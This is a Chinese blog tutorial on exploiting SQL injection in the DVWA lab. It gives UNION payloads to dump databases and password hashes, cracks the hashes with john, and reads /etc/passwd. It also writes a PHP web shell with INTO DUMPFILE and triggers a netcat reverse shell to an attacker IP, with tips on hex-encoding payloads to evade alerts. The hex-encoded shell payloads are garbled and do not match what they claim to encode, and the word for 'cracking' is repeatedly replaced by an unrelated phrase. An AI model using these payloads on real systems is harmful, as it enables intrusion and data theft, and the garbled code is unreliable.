比较常见类型漏洞讲解(三):SQL注入(一)

比较常见类型漏洞讲解(三):SQL注入(一)SQL 是 Structured Query Language 的缩写 翻译过来就是结构化查询语句 是一种特殊的编程语言 是用于数据库中的标准数据查询语言

大家好,欢迎来到IT知识分享网。

比较常见类型漏洞讲解(一)

比较常见类型漏洞讲解(二):文件上传

这里继续介绍比较容易找到的不同类型的漏洞。

演示准备

目标主机:Metasploitable2

攻击目标:目标主机的dvwa系统

攻击机:Kali

SQL

SQL是Structured Query Language的缩写,翻译过来就是结构化查询语句,是一种特殊的编程语言,是用于数据库中的标准数据查询语言。

SQL注入

SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成原因是在数据交互中,前端的数据传入后端处理时,没有做严格的校验判断、转义、限制等,导致传入的数据拼接到SQL语句中后,被当作SQL语句的一部分被执行。从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。

简单来说产生这个漏洞的原因是后端服务接收相关参数未经过过滤,直接带入数据库进行执行。

个人建议在使用SQL注入这类漏洞前,先了解一下SQL语句的基本语法,这类学习网站很多,这里就不推荐了。

SQL注入条件

产生SQL注入漏洞,需要满足两个条件:

  1. 参数用户可控,即前端传给后端的参数内容是用户可以控制的;
  2. 参数带入数据库执行,传入的参数拼接到SQL语句,并且带入参数库执行。

SQL注入参数类型

一般分为数字型和字符型两种注入参数类型。

  • 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
  • 字符型:当输入的参数为字符串时,称为字符型。

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

SQL注入可能存在的位置

既然是SQL注入,那么只要是和数据库数据交互的地方,就需要重点排查。比如url中的传参、请求报文中的参数(类似搜索框请求),或者还可能是请求头中的字段参数、Cookie值等等:

比较常见类型漏洞讲解(三):SQL注入(一)

SQL注入注入点

SQL注入探测

找到了SQL注入点,但是还不能确定是否可以在这些点进行SQL注入操作。我们可以通过传入这些参数后的结果判断是否存在SQL注入漏洞:

# 基于报错的探测,会报错则肯定存在SQL注入漏洞 ' " ( ) # 基于布尔的探测,如果页面会有不同显示就可能存在SQL注入漏洞 1' and '1' = '1 1' and '1' and '1 1' and '1' = '2 1' and '1' and '0

SQL注入手动演示-获取数据库内容

在安全等级为low的时候,演示SQL注入漏洞的使用。

先通过在注入点传英文单引号后的执行结果,判断是否存在SQL注入漏洞:

比较常见类型漏洞讲解(三):SQL注入(一)

返回报错

可以确认存在可以利用的SQL注入漏洞。

按照这个搜索框的功能,大致可以推测使用的SQL语句应该是这样的:

# 单引号内就是我们传入的内容 select first_name, surname from users where id = ' ' 

先确认被查询表的字段数量,可以通过传’ order by 3 — ,当其中的数字大于字段数量时,就会报错,还有两个小横杠后要跟一个空格,代表了将之后的内容注释。

比较常见类型漏洞讲解(三):SQL注入(一)

表字段少于3个

然后就可以使用联合查询来获取进一步的信息:

# --+表示后面的内容是注解,这种是在url中使用的,在搜索框的话,还是需要使用空格代替+ ' union select 1 ,2 --+ ' union all select database(), 2 --+
比较常见类型漏洞讲解(三):SQL注入(一)

执行结果

可以确定first_name是表的第一个字段,surname是表的第二个字段。

将传参进行调整,查询数据库当前用户:

比较常见类型漏洞讲解(三):SQL注入(一)

获取当前用户部分信息

user()函数用于获取用户信息。

调整参数,获取数据库的版本信息:

比较常见类型漏洞讲解(三):SQL注入(一)

获取数据包版本信息

version()函数是获取当前版本信息的。通过版本信息,大概能够推测出使用的是mysql数据库,网上查一下基本就能匹配。

再调整执行语句,获取数据库名称和用户名:

比较常见类型漏洞讲解(三):SQL注入(一)

获取数据库名称和用户名

database()函数是获取数据库名称的。

还有一些比较常用的函数:

@@datadir:数据库在服务器所在位置 @@hostname:主机名称 @@VERSION:数据库版本信息,和version()函数功能一样,只是取的数据位置不同而已 @@version_compile_os:服务器操作系统版本 char():ASCII转字符,这个有时候可以用来绕过后端的一些过滤逻辑 CONCAT_WS(char(32, 58, 32), user(), database(), version()):连接字符串,第一个入参是作为后续字符串的连接符号 md5():计算哈希 information_schema:MySQL记录数据结构的数据库

接下来继续调整执行语句,获取数据库表和库信息:

比较常见类型漏洞讲解(三):SQL注入(一)

获取数据库信息

返回结果中第一个字段是表名,第二个字段是库名。

其中可以看到dvwa这个系统在使用的数据库和表:

比较常见类型漏洞讲解(三):SQL注入(一)

当前系统在使用的表

继续调整语句,统计各个库的表数量:

比较常见类型漏洞讲解(三):SQL注入(一)

各个库的表数量

再进一步查询dvwa数据库里的所有表:

比较常见类型漏洞讲解(三):SQL注入(一)

查询指定数据库的表

继续查询指定表的所有字段:

比较常见类型漏洞讲解(三):SQL注入(一)

查询指定表的字段

知道了上面这些信息,就可以查询具体的字段内容了:

比较常见类型漏洞讲解(三):SQL注入(一)

查询指定字段内容

虽然获取的是加密后的密码,但是比单纯的暴力激活成功教程,已经进了一大步了。而且根据加密后的特征,完全可以猜测目标系统使用的加密方式。比如这个dvwa有点像使用了md5的加密方式,我们验证一下。

到Kali中使用工具hash-identifier,对获取到的密码进行识别检测一下:

比较常见类型漏洞讲解(三):SQL注入(一)

识别加密方式

识别后给出了可能的两种加密方式,这里直接用MD5的方式进行激活成功教程一下,不过多展开了。

先将获取到的用户名和密码按照工具需要的格式进行整理:

比较常见类型漏洞讲解(三):SQL注入(一)

账户名和密码

然后用Kali中自带的工具john:

比较常见类型漏洞讲解(三):SQL注入(一)

john -format=raw-MD5 user_password.txt

dvwa的账户密码很快就将密码激活成功教程了,但是实际工作中密码激活成功教程往往非常耗时。

当数据库中信息太多,一时之间又无法分辨哪些是有效信息时,我们还可以将数据库信息下载到靶机的本地目录,我们可以将这个下载下来的文件传回我们控制的机器,这样就能有充足的时间进行分析了。一般渗透进入大公司的服务器,都会clone服务器硬盘或者下载数据库内容。dvwa这里使用的sql是这样的:

' union select null, concat(user, 0x3a, password) from users INTO OUTFILE '/tmp/a.db' -- 

提交后,在指定目录可以看到生成的文件:

比较常见类型漏洞讲解(三):SQL注入(一)

靶机生成了本地文件

内容和我们直接查询到的是一致的:

比较常见类型漏洞讲解(三):SQL注入(一)

文件内容

至于怎么将这个文件传回到我们的本地,方式很多,前面的帖子里也有统一介绍过,这里就不展开了。

SQL注入手动演示-对于本地文件的读写操作

SQL注入漏洞不仅仅可以读取数据库中的数据,还能用来读取本地文件。比如这样:

比较常见类型漏洞讲解(三):SQL注入(一)

获取了etc/passwd文件内容

这里主要是利用了load_file()函数对本地文件进行读取。

还可以写入一些内容,比如一些病毒代码:

比较常见类型漏洞讲解(三):SQL注入(一)

‘ union select null, “<?php passthru($_GET[‘cmd’]);?>” INTO DUMPFILE “a.php” —

虽然写入成功了,但是这个文件是存到了默认地址:

比较常见类型漏洞讲解(三):SQL注入(一)

写入的文件地址

在这个地址,是无法从浏览器访问到的。

比较常见类型漏洞讲解(三):SQL注入(一)

写入文件的权限

而我们如果想要往www这个目录中写入文件的话,我们是无法通过SQL注入这个漏洞完成的,因为SQL注入的语句,最后都是mysql在执行,而mysql账户没有权限操作www这个目录。

比较常见类型漏洞讲解(三):SQL注入(一)

往www目录写入文件失败

一般Linux系统都会有一个/tmp目录,这个目录的权限比较宽泛,多数账户都有独写权限。我们可以将文件写入到这个目录里,然后利用前面介绍过的Directory traversal/File include漏洞进行访问上传的文件。写入文件的语句:

# 语句最后的空格别漏 ' union select null, "<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" -- 

在目标位置查看:

比较常见类型漏洞讲解(三):SQL注入(一)

然后利用Directory traversal/File include漏洞访问目标文件,执行特定命令:

比较常见类型漏洞讲解(三):SQL注入(一)

执行特定命令

利用SQL注入漏洞写入文件不仅可以做到上面这种执行特定命令,还可以传一个反弹shell的文件进去。但是写入文件是很容易触发后端的报警机制的,所以我们一般都会进行转码操作。

先准备一个反弹shell的文件,在Kali里有现成的:

比较常见类型漏洞讲解(三):SQL注入(一)

php的反弹shell文件

将文件中的ip地址改成我们能控制的机器,工作中别直接指向自己,但是我们只是演示,就直接写自己的Kali了:

比较常见类型漏洞讲解(三):SQL注入(一)

修改反弹shell文件中的目标ip

然后将文件转码:

比较常见类型漏洞讲解(三):SQL注入(一)

转码后的内容

xxd是Linux自带的一个工具,会将内容转码成16进制。tr的作用是将每一行的回车(\n)删除,这样就能将所有内容用一行内容表示了。

将转码后的内容复制出来,和前面利用SQL注入漏洞写入文件的复合语句组合:

' union select null, (0x3c3fa2f2fd3652dc6c202dc6c20696d706c656d656ef6e20696ea2f2f20436f070656ed6f6e6bed6f6e6b65792e6e65740a2f2f0a2f2f0746f6f6c206d066f72206ccff6e6c792ebc6cf6eca2f2f20666fe96f6e66f726d96ef6f6c2e0fe6f206cca2f2f20666fdf6f6c2ed06e6fcf20796f752ce0a2f2f20646f206e6f046f6f6c2e0a2f2f0a2f2f20496e20616c6c206fc96f6e06ca0a2f2f0a2f2f070726fdf53b20796fe0616e642f6f72206d6fa2f2fe6d73206f0474eecccef6ea2f2fc020536ff756ef6e2e0a2f2f0a2f2f070726fd96e86f77696c6cc2c0a2f2ffe2414e54593bf56e96d706cef660a2f2f204decfef4c2504f53452e0a2f2f20474eecccef72206d6fc732e0a2f2f0a2f2f20596ff756cff0474eecccec6f6e670a2f2f00726fd3be6f742cf6ff756ef6e2c20496e632e2c0a2f2f2616e6b6c696e5742cc6f6f722c20426f73746f6e2c204d1302de0a2f2f0a2f2f0746f6f6c206d066f72206ccff6e6c792ebc6cf6eca2f2f20666fe96f6e66f726d96ef6f6c2ed06e6fcf0a2f2f20796f752ce20646f206e6f046f6f6c2e0a2f2f0a2f2f20596f0656e636ffef6d6d656e74732c20696d70726f76656d656eff6ef0a2f2f206d0656ed6f6e6bed6f6e6b65792e6e65740a2f2f0a2f2ff6e0a2f2f202d2d2d2d2d2d2d2d2d2d2d0a2f2f0c6c206d616be206ff756e0636f6e6ef6e20746ff020616ef72742e0a2f2f656ec6ce56c6ce6e696eee6f726d616c6c79292e0a2f2f0a2f2f204c696df6e730a2f2f202d2d2d2d2d2d2d2d2d2d2d0a2f2ff635f6f70656e20616e5616d5ff626c6f636b696ef6e20342e332b2c206fb0a2f2ff5616d5f73656c06f6ecfe070726f635f6f70656ec6cc20616e5726ece96e646f77732e0a2f2f20536f6df6d70696c652d74696d65206ff6e06e0666fd6f6ef6e20286c696be746c2c20706fec96c61626c652e0a2f2f0a2f2f50a2f2f202d2d2d2d2d0a2f2fa2f2f70656ed6f6e6b65792e6e65742f746f6f6c732fd3652dc6cf0b2e0a0af74696d655f6c696d93b0a94f4e203de30223b0adeeeb20202f2fe9530a24706fdb0202f2fe9530ae6b5f73697a65203db0a55f61203d206e756c6c3b0af725f61203d206e756c6c3b0ac6c203de616d65202d613b20773bb202f62696e2fd69273b0ad6f6e203d20303b0a7203d20303b0a0a2f2f0a2f2fd6f6efc06fcffa6f6dca2f2f0a0a2f2fe746c5f666f726bc6c61626c652c7696c6c20616c6c6f46fd6f6ea2f2f206f0f16efa6f6def0e2e2e0a56ef6e5fe746c5f666f726bb0a092f2f20466f726b20616eefa03de746c5f666f726b28293b0a090a0d3d202db0a0ef523aef726b22293b0a0b0a097d0a090a0b0a0b20202f2fe4730a097d0a0a092f2f204d616b0ef696f6e206ca092f2fc6c206f6e6c66f726b65640a06ffd3d202db0a0ef723ae22293b0a0b0a097d0a0a0d6f6e203d20313b0a7d20656cb0a0ee494e473acfd6f6ee36f6d6d6f6e20616e64206e6f16c2e22293b0a7d0a0a2f2feff72790a8222f22293b0a0a2f2fd6fed61736be5640a756d61736bb0a0a2f2f0a2f2f20446fc6c2e2e2e0a2f2f0a0a2f2f204f70656ef6e6ef6e0a24736f636b203df636b6f70656ecf72742ce6f2ccb0a4736f636b29207b0a0e2726e6fb0a031293b0a7d0a0a2f2fec6cfaf03d9280ad3e65222cc20202f2fe096cc6c066726f6d0ad3e65222cc20202f2ff0cc6cf0ad3e65222c020202f2fcc6cf0a293b0a0afdf635f6f70656ec6c2cfcb0a0a9735fff9207b0a0ef523ae1776ec6c22293b0a031293b0a7d0a0a2f2f68696ef206e6f6e2d626c6f636b696e670a2f2ff6e3a204ff6e616c6cc6c20626c6f636b2cefd5f73656c56c6c6f6e27740ad5ff626c6f636b696e065735b305d2cb0ad5ff626c6f636b696e065735b315d2cb0ad5ff626c6f636b696e065735b325d2cb0ad5ff626c6f636b696ef636b2cb0a0aec6c79206f70656ec6c20746fa24706fb0a0ac07b0a092f2fb20666fe64206f0636f6e6ef6e0a0656ff636bb0a0ef523ac6c20636f6e6ef6ed696e93b0a06b3b0a097d0a0a092f2fb20666fe64206ff55540a0656f065735b315db0a0ef523ac6cfd696e93b0a06b3b0a097d0a0a092f2f0756e74696cf6d6d616e56ef776ef636b2c206ff6d650a092f2f20636f6d6d616e64206f01696c61626c65206f6effa05f61203df636b2c5735b315d2c5735b325d293b0a09246e756d5fef736f636bd16d5f73656cf612c4655f612cf725f612c206e756c6c293b0a0a092f2fe066726f6df636b65742ce640a092f2f0746ff4e0a06e5ff636b2c45fb0a06e34f434b2293b0a0edf636b2ce6b5f73697a65293b0a06e34f434b3aeb0a0b305d2ceb0a097d0a0a092f2fe066726f6d0726ff55540a092f2fef776e36f6e6ef6e0a06e5f735b315d2c45fb0a06efb0a0ed65735b315d2ce6b5f73697a65293b0a06ef55543aeb0a0f636b2ceb0a097d0a0a092f2fe066726f6d0726f52520a092f2fef776e36f6e6ef6e0a06e5f735b325d2c45fb0a06e2293b0a0ed65735b325d2ce6b5f73697a65293b0a06e3aeb0a0f636b2ceb0a097d0a7d0a0a66636c6ff636b293b0a66636c6fb305d293b0a66636c6fb315d293b0a66636c6fb325d293b0a70726f635f636c6f26fb0a0a2f2f204c696be742c46fe6fed6f6efc660a2f2f16efff54444fc696b26f1656d6f6e290a66756ef6eeeb0a0d6f6e29207b0a0ee675c6e223b0a097d0a7d0a0a3f3e200a0a0a0a) INTO DUMPFILE "/tmp/b.php" -- 

执行没成功,因为写入内容太大了:

比较常见类型漏洞讲解(三):SQL注入(一)

写入反弹shell失败

因为靶机是Linux系统,且安装了netcat,所以手动写个简易版的反弹shell病毒:

<?php shell_exec('nc 192.168.218.128 80 -c bash');?>

将文件转码,然后组装成可以使用的SQL语句:

# 需要注意的是转码后的内容要放到小括号内,并且在开头要加上0x,表示后面这一串是16进制 ' union select null, (0x3c3f8656c6c5f76eeee0202db3f3e0a) INTO DUMPFILE "/tmp/c.php" -- 

利用SQL注入的漏洞,将文件文件写入目标位置。

比较常见类型漏洞讲解(三):SQL注入(一)

然后可以通过Directory traversal/File include漏洞访问这个c.php,然后就可以获得目标机器的shell:

比较常见类型漏洞讲解(三):SQL注入(一)

访问病毒文件

Kali获取了shell:

比较常见类型漏洞讲解(三):SQL注入(一)

获取shell

上面主要是为了演示将文件内容转码,绕过过滤机制。

其实利用前面一个执行特定命令的病毒,可以直接触发反弹shell,比如这样传参:

http://{靶机ip}/dvwa/vulnerabilities/fi/?page=/tmp/a.php&cmd=nc%20192.168.218.128%2080%20-c%20bash

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/178465.html

(0)
上一篇 2025-05-12 08:00
下一篇 2025-05-12 08:10

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信